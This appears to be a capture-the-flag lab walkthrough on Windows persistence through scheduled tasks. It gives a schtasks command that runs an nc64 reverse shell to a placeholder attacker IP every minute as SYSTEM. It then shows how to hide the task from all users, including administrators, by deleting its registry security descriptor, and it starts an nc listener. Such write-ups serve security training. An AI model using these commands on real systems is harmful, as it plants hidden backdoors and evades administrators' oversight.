# Abusing Scheduled Tasks

## Abusing Scheduled Tasks

### <mark style="color:blue;">Task Scheduler</mark>

The most common way to schedule tasks is using the built-in **Windows task scheduler**. The task scheduler allows for granular control of when your task will start, allowing you to configure tasks that will activate at specific hours, repeat periodically or even trigger when specific system events occur. From the command line, you can use `schtasks` to interact with the task scheduler. A complete reference for the command can be found on [Microsoft's website](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks).

**create a task that runs a reverse shell every minute :**

In a real-world scenario, you wouldn't want your payload to run so often, but we don't want to wait too long for this room:

```cmd
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe <ATTACKER_IP> <PORT>" /ru SYSTEM
```

The previous command will create a "THM-TaskBackdoor" task and execute an `nc64` reverse shell back to the attacker. The `/sc` and `/mo` options indicate that the task should be run every single minute. The `/ru` option indicates that the task will run with SYSTEM privileges.

**To check if our task was successfully created :**

```cmd
schtasks /query /tn THM-TaskBackdoor
```

### <mark style="color:blue;">Making Our Task Invisible</mark>

Our task should be up and running by now, but if the compromised user tries to list its scheduled tasks, our backdoor will be noticeable. To further hide our scheduled task, we can make it invisible to any user in the system by deleting its **Security Descriptor (SD)**. The security descriptor is simply an ACL that states which users have access to the scheduled task. If your user isn't allowed to query a scheduled task, you won't be able to see it anymore, as Windows only shows you the tasks that you have permission to use. Deleting the SD is equivalent to disallowing all users' access to the scheduled task, including administrators.

The security descriptors of all scheduled tasks are stored in `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\`. You will find a registry key for every task, under which a value named "SD" contains the security descriptor. You can only erase the value if you hold SYSTEM privileges.

To hide our task, let's delete the SD value for the "THM-TaskBackdoor" task we created before. To do so, we will use `psexec` (available in `C:\tools`) to open Regedit with SYSTEM privileges:

```cmd
PsExec64.exe -s -i regedit
```

We will then delete the security descriptor for our task:

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FOkmIetTPTMDDf9LbznEC%2Fimage.png?alt=media&#x26;token=3b98438c-f16e-41c3-b87b-3b8a23b502a1" alt=""><figcaption></figcaption></figure></div>

If we try to query our service again, the system will tell us there is no such task:

```cmd
schtasks /query /tn THM-TaskBackdoor 
ERROR: The system cannot find the file specified.
```

If we start an nc listener in our attacker's machine, we should get a shell back after a minute

```bash
nc -lvp 4449
```
